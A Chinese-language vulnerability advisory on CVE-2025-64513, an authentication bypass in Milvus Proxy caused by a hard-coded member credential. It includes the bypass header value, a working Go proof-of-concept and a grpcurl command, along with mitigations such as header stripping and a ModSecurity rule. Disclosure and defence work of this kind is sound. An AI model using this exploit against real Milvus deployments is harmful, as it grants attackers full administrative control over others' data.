Milvus Proxy身份验证绕过漏洞(CVE-2025-64513)技术分析文档
漏洞概述
CVE编号:CVE-2025-64513
漏洞类型:身份验证绕过
影响组件:Milvus Proxy
威胁等级:严重
Milvus是一个为生成式人工智能应用程序构建的开源向量数据库。该漏洞允许未经身份验证的攻击者绕过Milvus Proxy组件的所有身份验证机制,获得对Milvus集群的完整管理权限。
影响版本
- Milvus版本早于2.4.24
- Milvus版本早于2.5.21
- Milvus版本早于2.6.5
漏洞描述
攻击者利用此漏洞可完全绕过身份验证,直接获得Milvus集群的管理员权限。成功利用后,攻击者能够:
- 读取、修改或删除数据库中的数据
- 执行特权管理操作(如数据库或集合管理)
- 控制整个Milvus集群
技术分析
漏洞根源
漏洞存在于Milvus Proxy的认证拦截器(authentication_interceptor.go)中。具体问题在于validSourceID方法的认证逻辑缺陷。
关键代码分析
// 认证拦截器处理逻辑
func (interceptor *AuthenticationInterceptor) validSourceID(sourceID string) bool {
decoded, err := base64.StdEncoding.DecodeString(sourceID)
if err != nil {
return false
}
return string(decoded) == util.MemberCredID
}
其中util.MemberCredID为硬编码值:@@milvus-member@@
认证绕过机制
当gRPC请求头中的sourceID字段经过Base64解码后与硬编码值@@milvus-member@@匹配时,validSourceID方法返回true,导致认证拦截器跳过后续的所有身份验证检查。
攻击向量
攻击者只需在gRPC请求的metadata中设置特定的sourceID头即可绕过认证:
sourceid: QEBtaWx2dXMtbWVtYmVyQEA=
(此为@@milvus-member@@的Base64编码)
漏洞复现
环境准备
- 受影响版本的Milvus集群(<2.4.24/2.5.21/2.6.5)
- Go语言开发环境
- Milvus Go SDK
PoC代码
package main
import (
"context"
"encoding/base64"
"fmt"
"log"
"time"
"google.golang.org/grpc"
"google.golang.org/grpc/metadata"
"github.com/milvus-io/milvus-proto/go-api/v2/milvuspb"
)
func main() {
// 目标Milvus服务器地址
target := "localhost:19530"
memberCredID := "@@milvus-member@@"
encodedSourceID := base64.StdEncoding.EncodeToString([]byte(memberCredID))
// 建立gRPC连接
fmt.Printf("连接到 Milvus: %s\n", target)
conn, err := grpc.Dial(target, grpc.WithInsecure(), grpc.WithBlock(), grpc.WithTimeout(5*time.Second))
if err != nil {
log.Fatalf("连接失败: %v", err)
}
defer conn.Close()
client := milvuspb.NewMilvusServiceClient(conn)
md := metadata.New(map[string]string{
"sourceid": encodedSourceID, // 关键:设置绕过认证的sourceID
})
ctx := metadata.NewOutgoingContext(context.Background(), md)
fmt.Println("开始测试认证绕过...")
// 1. 检查连接状态
fmt.Println("\n1. 检查连接状态...")
healthReq := &milvuspb.CheckHealthRequest{}
healthResp, err := client.CheckHealth(ctx, healthReq)
if err != nil {
log.Printf("健康检查失败: %v", err)
} else {
fmt.Printf("健康检查成功! 状态: %v\n", healthResp.IsHealthy)
}
// 2. 列出所有数据库
fmt.Println("\n2. 获取数据库列表...")
dbReq := &milvuspb.ListDatabasesRequest{}
dbResp, err := client.ListDatabases(ctx, dbReq)
if err != nil {
log.Printf("列出数据库失败: %v", err)
} else {
fmt.Printf("数据库列表: %v\n", dbResp.DbNames)
}
// 3. 获取服务器版本信息
fmt.Println("\n4. 获取版本信息...")
versionReq := &milvuspb.GetVersionRequest{}
versionResp, err := client.GetVersion(ctx, versionReq)
if err != nil {
log.Printf("获取版本失败: %v", err)
} else {
fmt.Printf("Milvus版本: %s\n", versionResp.GetVersion())
}
fmt.Println("\n=== 漏洞验证完成 ===")
}
检测步骤
- 使用上述PoC代码连接目标Milvus实例
- 观察是否能够成功执行需要认证的操作:
- 健康检查通过
- 能够列出数据库
- 能够获取版本信息
- 如果以上操作均成功执行,说明存在漏洞
修复方案
正式修复
升级到安全版本:
- Milvus 2.4.24 或更高版本
- Milvus 2.5.21 或更高版本
- Milvus 2.6.5 或更高版本
临时缓解措施
如果无法立即升级,可通过以下方式临时防护:
方案一:网关层过滤
在请求到达Milvus Proxy之前,通过网关、API网关或负载均衡器删除所有传入请求的sourceID标头:
Nginx配置示例:
location /milvus/ {
proxy_pass http://milvus-proxy:19530;
proxy_set_header sourceid "";
}
方案二:WAF规则
添加Web应用防火墙规则,拦截包含sourceid头的请求:
# 示例:ModSecurity规则
SecRule REQUEST_HEADERS:sourceid "!^$" "deny,status:403,msg:'CVE-2025-64513 Exploit Attempt'"
修复验证
验证方法
- 升级后使用相同PoC代码测试
- 确认认证绕过不再有效
- 未认证请求应返回认证错误
验证命令
# 检查Milvus版本
curl -X GET http://milvus-host:19530/version
# 尝试未认证访问(应失败)
grpcurl -plaintext -H "sourceid: QEBtaWx2dXMtbWVtYmVyQEA=" milvus-host:19530 list
参考链接
总结
CVE-2025-64513是一个严重的身价验证绕过漏洞,攻击者利用简单的请求头 manipulation即可获得Milvus集群的完全控制权。建议所有使用受影响版本的用户立即采取修复措施,优先选择版本升级方案,如条件限制可采用临时缓解方案并尽快安排升级计划。